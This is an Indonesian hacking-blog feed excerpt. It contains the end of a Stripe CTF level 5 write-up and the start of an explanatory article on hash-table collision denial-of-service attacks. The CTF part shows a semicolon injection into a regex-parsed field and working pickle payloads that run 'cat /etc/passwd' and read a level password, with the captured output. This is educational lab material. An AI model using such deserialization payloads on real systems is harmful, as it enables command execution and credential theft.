        <span style="color: #008000;">self</span>.<span style="color: black;">end_headers</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
        output = <span style="color: black;">&#123;</span> <span style="color: #483d8b;">'result'</span> : <span style="color: #483d8b;">&quot;Hello there! Try POSTing your payload. I'll be happy to capitalize it for you.&quot;</span> <span style="color: black;">&#125;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>json.<span style="color: black;">dumps</span><span style="color: black;">&#40;</span>output<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> do_POST<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        length = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">headers</span>.<span style="color: black;">getheader</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'content-length'</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        post_data = <span style="color: #008000;">self</span>.<span style="color: black;">rfile</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span>length<span style="color: black;">&#41;</span>
        raw_data = <span style="color: #dc143c;">urllib</span>.<span style="color: black;">unquote</span><span style="color: black;">&#40;</span>post_data<span style="color: black;">&#41;</span>
&nbsp;
        queue = QueueServer<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        job = Job<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">type</span>, data, job = queue.<span style="color: black;">run_job</span><span style="color: black;">&#40;</span>data=raw_data, job=job<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> job:
            status = <span style="color: #ff4500;">200</span>
            output = <span style="color: black;">&#123;</span> <span style="color: #483d8b;">'result'</span> : data, <span style="color: #483d8b;">'processing_time'</span> : job.<span style="color: black;">completed</span> - job.<span style="color: black;">started</span>, <span style="color: #483d8b;">'queue_time'</span> : <span style="color: #dc143c;">time</span>.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> - job.<span style="color: black;">created</span> <span style="color: black;">&#125;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            status = <span style="color: #ff4500;">504</span>
            output = <span style="color: black;">&#123;</span> <span style="color: #483d8b;">'result'</span> : data <span style="color: black;">&#125;</span>
&nbsp;
        <span style="color: #008000;">self</span>.<span style="color: black;">send_response</span><span style="color: black;">&#40;</span>status<span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">send_header</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Content-type'</span>,<span style="color: #483d8b;">'text/plain'</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">end_headers</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>json.<span style="color: black;">dumps</span><span style="color: black;">&#40;</span>output, sort_keys=<span style="color: #008000;">True</span>, indent=<span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> run_server<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">try</span>:
        server = HTTPServer<span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'127.0.0.1'</span>, <span style="color: #ff4500;">9020</span><span style="color: black;">&#41;</span>, QueueHttpServer<span style="color: black;">&#41;</span>
        logger.<span style="color: black;">info</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Starting QueueServer'</span><span style="color: black;">&#41;</span>
        server.<span style="color: black;">serve_forever</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">KeyboardInterrupt</span>:
        logger.<span style="color: black;">info</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'^C received, shutting down server'</span><span style="color: black;">&#41;</span>
        server.<span style="color: #dc143c;">socket</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> run_worker<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    worker = QueueWorker<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    worker.<span style="color: black;">poll</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #dc143c;">parser</span> = <span style="color: #dc143c;">optparse</span>.<span style="color: black;">OptionParser</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;&quot;%prog [options] type&quot;&quot;&quot;</span><span style="color: black;">&#41;</span>
    <span style="color: #dc143c;">parser</span>.<span style="color: black;">add_option</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'-v'</span>, <span style="color: #483d8b;">'--verbosity'</span>, <span style="color: #008000;">help</span>=<span style="color: #483d8b;">'Verbosity of debugging output.'</span>,
                      dest=<span style="color: #483d8b;">'verbosity'</span>, action=<span style="color: #483d8b;">'count'</span>, default=<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
    opts, args = <span style="color: #dc143c;">parser</span>.<span style="color: black;">parse_args</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> opts.<span style="color: black;">verbosity</span> == <span style="color: #ff4500;">1</span>:
        logger.<span style="color: black;">setLevel</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">logging</span>.<span style="color: black;">INFO</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">elif</span> opts.<span style="color: black;">verbosity</span> <span style="color: #66cc66;">&gt;</span>= <span style="color: #ff4500;">2</span>:
        logger.<span style="color: black;">setLevel</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">logging</span>.<span style="color: black;">DEBUG</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>args<span style="color: black;">&#41;</span> <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">1</span>:
        <span style="color: #dc143c;">parser</span>.<span style="color: black;">print_help</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">1</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> args<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'worker'</span>:
        run_worker<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">elif</span> args<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'server'</span>:
        run_server<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">raise</span> <span style="color: #008000;">ValueError</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Invalid type %s'</span> <span style="color: #66cc66;">%</span> args<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">0</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span>main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>

<p style="text-align: justify;">
Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel <a href="https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf">sour pickle</a> di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.
</p>
<p style="text-align: justify;">
Problem utamanya adalah pada fungsi deserialize() di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="python" style="font-family:monospace;">    <span style="color: #ff7700;font-weight:bold;">def</span> deserialize<span style="color: black;">&#40;</span>serialized<span style="color: black;">&#41;</span>:
        logger.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Deserializing: %r'</span> <span style="color: #66cc66;">%</span> serialized<span style="color: black;">&#41;</span>
        <span style="color: #dc143c;">parser</span> = <span style="color: #dc143c;">re</span>.<span style="color: #008000;">compile</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'^type: (.*?); data: (.*?); job: (.*?)$'</span>, <span style="color: #dc143c;">re</span>.<span style="color: black;">DOTALL</span><span style="color: black;">&#41;</span>
        match = <span style="color: #dc143c;">parser</span>.<span style="color: black;">match</span><span style="color: black;">&#40;</span>serialized<span style="color: black;">&#41;</span>
        direction = match.<span style="color: black;">group</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
        data = match.<span style="color: black;">group</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
        job = <span style="color: #dc143c;">pickle</span>.<span style="color: black;">loads</span><span style="color: black;">&#40;</span>match.<span style="color: black;">group</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span> direction, data, job</pre></td></tr></table></div>

<p style="text-align: justify;">
Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.
</p>
<p style="text-align: justify;">
Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">curl localhost:9020 -d 'testdata'</pre></div></div>

<p style="text-align: justify;">
Berikut ini adalah log yang terlihat:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">Deserializing: &quot;type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb.&quot;
TEST ini JOBnya lhooo--&gt; &quot;ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb.&quot; &lt;--</pre></td></tr></table></div>

<p style="text-align: justify;">
Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle.  Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (&#8220;testdata&#8221;) tidak ikut diload oleh pickle karena bukan bagian dari field job.
</p>
<p style="text-align: justify;">
Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">cos
system
(S'cat /etc/passwd'
tR.</pre></div></div>

<p style="text-align: justify;">
String di atas bila diload oleh pickle  akan mengeksekusi command &#8220;cat /etc/passwd&#8221;.
</p>
<p style="text-align: justify;">
Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?
</p>
<p style="text-align: justify;">
Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter &#8216;;&#8217;. Bagaimana bila kita memasukkan input string yang mengandung karakter &#8216;;&#8217; seperti ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">curl localhost:9020 -d 'inidata; job: inijob'</pre></div></div>

<p>
Berikut adalah log yang terlihat:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Deserializing: &quot;type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb.&quot;
TEST ini JOBnya lhooo--&gt; &quot;inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb.&quot; &lt;--</pre></div></div>

<p style="text-align: justify;">
Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter &#8216;;&#8217; dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string &#8216;inijob&#8217; menjadi bagian dari field job.
</p>
<p style="text-align: justify;">
Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ cat payload.pkl
cos
system
(S'cat /home/level06/.password &gt; /tmp/levelsixx'
tR.
$ curl localhost:9020 -d &quot;hajar; job: `cat payload.pkl`&quot;
{
    &quot;result&quot;: &quot;Job timed out&quot;
}
$ cat /tmp/levelsixx
SF2w8qU1QDj</pre></div></div>

<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=tzPGWwd_9Go:60-g2g8MXK0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=tzPGWwd_9Go:60-g2g8MXK0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=tzPGWwd_9Go:60-g2g8MXK0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=tzPGWwd_9Go:60-g2g8MXK0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=tzPGWwd_9Go:60-g2g8MXK0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=tzPGWwd_9Go:60-g2g8MXK0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=tzPGWwd_9Go:60-g2g8MXK0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=tzPGWwd_9Go:60-g2g8MXK0:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/exploit/stripe-ctf-level-1-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Memahami Serangan Hash table Collision Denial of Service</title>
		<link>http://www.ilmuhacking.com/web-security/hashtable-collision-dos/</link>
		<comments>http://www.ilmuhacking.com/web-security/hashtable-collision-dos/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 07:53:40 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2745</guid>
		<description><![CDATA[Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb. Sebagai tulisan [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Pada Desember 2011 lalu, <a href="http://www.nruns.com/_downloads/advisory28122011.pdf">nRuns AG</a> mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.</p>
<p style="text-align: justify;">Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.</p>
<p><span id="more-2745"></span></p>
<p style="text-align: justify;"><strong>Associative array atau Map</strong></p>
<p style="text-align: justify;">Sebelum berbicara mengenai hash table, kita perlu tahu dulu bahwa  associative array (disebut juga map atau dictionary) adalah abstract data type (ADT) yang terdiri dari pasangan kunci dan nilai dan dalam associative array tidak boleh ada kunci yang duplikat atau dobel (nilai boleh dobel, tapi kunci tidak boleh). Kunci ini bertindak seperti halnya nama dari data yang disimpan, sehingga dengan mengasosiasikan suatu data dengan kunci berupa nama atau identifier yang lain, data yang diinginkan bisa diambil dengan mudah dengan menyebutkan kuncinya.</p>
<p><img class="aligncenter" style="border-style: initial; border-color: initial; -webkit-user-select: none;" src="http://www.mactech.com/articles/mactech/Vol.16/16.10/AssociativeArrays/fig01.gif" alt="" /></p>
<p style="text-align: justify;">Dalam contoh associative array di atas bila kita ingin tahu produsen mobil ini siapa, kita cukup mencari dengan kunci &#8220;make&#8221;, maka akan keluar datanya yaitu &#8220;Jeep&#8221;. Bila kita ingin tahu warna mobil ini apa, kita mencari dengan kunci &#8220;color&#8221;, maka akan keluar datanya &#8220;green&#8221;.</p>
<p style="text-align: justify;"><strong>Lalu apa hubungannya associative array dengan hash table?</strong></p>
<p style="text-align: justify;">Associative array adalah abstract data type, artinya strutktur data yang masih berupa konsep atau spesifikasi saja.  Hash table adalah salah satu (bukan satu-satunya) implementasi dari associative array, artinya hash table ini adalah concrete data type (sudah konkrit bukan lagi abstract/konseptual).</p>
<blockquote><p>The basic idea of a hash table is that each item that might be stored in the table has a natural location in the table. This natural location can be computed as a function of the item itself. When searching for an item, it is not necessary to go through all the possible locations in the table; instead, you can go directly to the natural location of the item &#8211; Data Structures and Algorithms, David J. Eck</p></blockquote>
<p style="text-align: justify;">Kutipan di atas menggambarkan ide dasar dari hash table dengan baik. Bayangkan bila kita ingin mencari orang yang bernama Agus di sebuah desa yang terdiri dari 100 rumah dan kita harus mencarinya satu per satu dari rumah ke rumah, tentu akan memakan usaha dan waktu yang sangat lama. Hash table menghindari pencarian linear seperti ini. Daripada mencari satu per satu di semua rumah, dengan satu formula matematis tertentu, bisa diketahui bahwa berdasarkan namanya, Agus berada di rumah nomor XX (natural location), sehingga kita cukup mencari di satu rumah saja. Jauh lebih cepat dan efisien bukan?</p>
<p style="text-align: justify;">Fungsi atau formula matematis yang digunakan untuk mencari lokasi data (natural location) dari suatu kunci dalam hash table adalah fungsi hash. Output dari fungsi hash ini disebut dengan hash code. Hash table pada dasarnya adalah sebuah array (setiap elemen array ini disebut dengan bucket), jadi fungsi hash ini akan menghasilkan index array berupa integer, dimana lokasi data disimpan.</p>
<p style="text-align: justify;">Saya sudah membuat gambar animasi di bawah ini untuk memperlihatkan proses memasukkan data dalam hash table yang terdiri dari 6 bucket, data yang dimasukkan adalah nama sebagai key, dan tanggal lahir sebagai datanya.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nocollision1.gif"><img class="aligncenter size-full wp-image-2780" title="nocollision" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nocollision1.gif" alt="" width="486" height="323" /></a></p>
<p style="text-align: justify;">Dalam gambar animasi di atas tidak terjadi collision, masing-masing data dimasukkan dalam bucket yang berbeda jadi operasi insert bisa dilakukan dengan cepat. Berikutnya kita akan melihat kasus ketika terjadi hash collision, artinya ada lebih dari satu data yang dimasukkan dalam bucket yang sama.</p>
<p style="text-align: justify;"><strong>Hash collision</strong></p>
<p style="text-align: justify;">Perhatikan bahwa jumlah kemungkinan kunci sangat banyak, bahkan tak terhingga. Bila kunci adalah nama orang, jumlah kemungkinan nama orang sangat banyak, sedangkan jumlah sel dalam hash table terbatas. Hal ini memungkinkan timbulnya collision, artinya ada 2 atau lebih kunci yang menghasilkan hash code yang sama (berebut dalam satu sel yang sama).</p>
<p style="text-align: justify;">Karena collision tidak mungkin terhindarkan, implementasi hash table harus menentukan apa yang harus dilakukan bila terjadi collision. Salah satu cara yang banyak dipakai adalah dengan mengijinkan lebih dari satu nilai dalam satu lokasi. Umumnya hash table menggunakan struktur data linked list untuk menyimpan lebih dari satu nilai dalam satu lokasi  (bucket) yang sama.</p>
<p style="text-align: justify;">Bila data akan dimasukkan ke dalam bucket yang sudah ada isinya (collision terjadi), maka operasinya tidak sesederhana pada kasus bucket kosong. Mari kita perhatikan animasi yang saya buat di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/collision.gif"><img class="aligncenter size-full wp-image-2778" title="collision" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/collision.gif" alt="" width="486" height="500" /></a></p>
<p style="text-align: justify;">Ketika memasukkan data (insert), pada bucket yang tidak kosong maka perlu dilakukan operasi komparasi kunci untuk melihat apakah kunci yang sama sudah ada di bucket itu atau belum. Bila kunci yang sama ternyata ada di situ, artinya operasi insert berubah menjadi operasi update, yaitu mengubah data yang lama dengan yang baru. Bila kunci yang dimasukkan tidak ada di situ, maka kunci dan data yang dimasukkan akan disimpan di node paling akhir dari bucket tersebut.</p>
<p style="text-align: justify;">Perhatikan sekali lagi animasi di atas.</p>
<ol>
<li>Pada saat memasukkan data agus, kondisi bucket no.4 sudah berisi 1 node yaitu john. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 1x, apakah john==agus yaitu apakah kunci di node pertama dalam bucket tersebut adalah agus? Bila ternyata sama tidak perlu membuat node baru, hanya melakukan update node tersebut dengan data baru.</li>
<li>Pada saat memasukkan data adi, kondisi bucket no. 4 sudah berisi 2 node yaitu john dan agus. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 2x, apakah john==adi ? dan apakah agus==adi?</li>
<li>Pada saat memasukkan data budi, kondisi bucket no. 4 sudah berisi 3 node: john, agus, adi. Sebelum bisa memasukkan data, harus dilakukan komparasi sebanyak 3x, apakah john=budi? , apakah agus=budi? dan apakah adi=budi?</li>
</ol>
<div style="text-align: justify;">Bisa disimpulkan bahwa bila terjadi collision dan di dalam bucket tersebut sudah berisi n data, untuk melakukan operasi insert sebuah data, diperlukan operasi komparasi maximal n kali. Komparasi maximal n kali terjadi bila data yang akan dimasukkan tidak ada dalam bucket (harus membuat node baru).</div>
<div style="text-align: justify;"></div>
<blockquote>
<div style="text-align: justify;">Ini artinya ketika terjadi collision, prosesor harus bekerja jauh lebih berat daripada ketika tidak terjadi collision</div>
<div style="text-align: justify;"></div>
</blockquote>
<p style="text-align: justify;"><strong>Normal vs Worst Case</strong></p>
<p style="text-align: justify;">Kita sudah membahas sebelumnya bagaimana prosesor harus bekerja jauh lebih berat ketika terjadi collision daripada ketika tidak terjadi collision. Kita bisa melihat bagaimana bentuk hash table dalam kondisi normal dan ketika terjadi kasus terburuk (worst case) pada gambar di bawah ini.</p>
<div id="attachment_2771" class="wp-caption aligncenter" style="width: 608px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/normalvsworst.jpg"><img class="size-full wp-image-2771" title="normalvsworst" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/normalvsworst.jpg" alt="" width="598" height="194" /></a><p class="wp-caption-text">Source: Crosby and Wallach&#39;s &quot;Denial of Service via Algorithmic Complexity Attacks&quot;</p></div>
<p style="text-align: justify;">Gambar di sisi kiri adalah gambar hash table dalam kasus yang normal atau rata-rata. Dalam kasus yang normal, collision memang tidak terhindarkan, namun dalam jumlah yang wajar jadi tidak membahayakan. Namun gambar di sisi kanan adalah kasus terburuk, dimana semua data berkumpul dalam satu bucket yang sama. Kalau yang terjadi adalah kasus terburuk, memang hasilnya benar-benar buruk, yaitu prosesor akan bekerja sangat berat dan berujung pada denial of service (DoS).</p>
<p style="text-align: justify;">Mungkinkah kejadian worst case itu terjadi ? ya mungkin saja, tapi sangat jarang terjadi, kecuali bila memang sengaja untuk melakukan Denial of Service.</p>
<p style="text-align: justify;"><strong>Kompleksitas Algoritma</strong></p>
<p style="text-align: justify;">Ketika tidak terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data adalah konstan, anggap lah satu, jadi kalau ada n data maka usaha yang harus dilakukan prosesor adalah 1*n, jadi bisa dikatakan kompleksitasnya O(n) atau linear complexity.</p>
<p style="text-align: justify;">Ketika terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data ke dalam hash table tergantung dari data yang sudah ada dalam bucket yang sama. Mari kita analisa kasus terburuk dimana n data dengan kunci yang unik (tidak ada yang duplikat) dimasukkan ke dalam hash table dan semuanya berkumpul dalam bucket yang sama.</p>
<ol>
<li>Ketika memasukkan data yang pertama, bucket masih kosong, usaha yang harus dilakukan prosesor adalah 1.</li>
<li>Ketika memasukkan data yang ke-2, bucket berisi 1 node, akibatnya prosesor harus melaukan komparasi 1 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 2 usaha.</li>
<li>Ketika memasukkan data yang ke-3, bucket berisi 2 node, akibatnya prosesor harus melakukan komparasi 2 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 3 usaha.</li>
<li>Dan seterusnya, data yang ke-n, total usaha adalah n.</li>
</ol>
<p style="text-align: justify;">Jadi total usaha yang harus dilakukan untuk memasukkan n data adalah 1+2+3+&#8230;.+n = n * (n+1) / 2. Dalam menilai kompleksitas algoritma, n+1 bisa dianggap n dan 1/2 bisa diabaikan karena kita tidak sedang mengukur secara eksak, kita hanya melihat kompleksitasnya relatif terhadap jumlah input. Jadi bisa dikatakan kompleksitas ketika terjadi worst case adalah n*n atau O(n²) (quadratic complexity), artinya bila jumlah input dinaikkan menjadi 2x lipat, maka usaha atau waktu yang dibutuhkan prosesor naik menjadi 4x lipat.</p>
<p style="text-align: justify;">Perbedaan antara linear O(n) ketika tidak terjadi collision dan quadratic complexity O(n²) dalam situasi worst case sangat signifikan, hal ini bisa dilihat dari grafik di bawah ini.</p>
<div class="wp-caption alignnone" style="width: 560px"><img src="http://recursive-design.com/images/posts/2010-12-07-comp-sci-101-big-o-notation/Time_Complexity.png" alt="" width="550" height="319" /><p class="wp-caption-text">source: http://recursive-design.com/blog/2010/12/07/comp-sci-101-big-o-notation/</p></div>
<p><strong> Implementasi Hash table dalam PHP</strong></p>
<p>Dalam source code php, hash table diimplementasikan dalam dua file yaitu zend_hash.c dan zend_hash.h. Berikut ini adalah definisi tipe hashtable dan bucket.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/strukturdataphp.jpg"><img class="aligncenter size-full wp-image-2812" title="strukturdataphp" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/strukturdataphp.jpg" alt="" width="534" height="611" /></a></p>
<p style="text-align: justify;">Isi utama dari Hashtable adalah arBuckets yaitu array of Bucket. Bucket adalah tempat data disimpan dalam bentuk pasangan (arKey, pData). Bucket juga merupakan node dalam linked list yang memiliki pointer ke Bucket lain di sebelah kanan dan kirinya. Lebih mudahnya bisa dilihat pada gambar di bawah ini.</p>
<div id="attachment_2814" class="wp-caption aligncenter" style="width: 572px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/phphashtable.jpg"><img class="size-full wp-image-2814" title="phphashtable" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/phphashtable.jpg" alt="" width="562" height="523" /></a><p class="wp-caption-text">source: http://stblog.baidu-tech.com/?p=763</p></div>
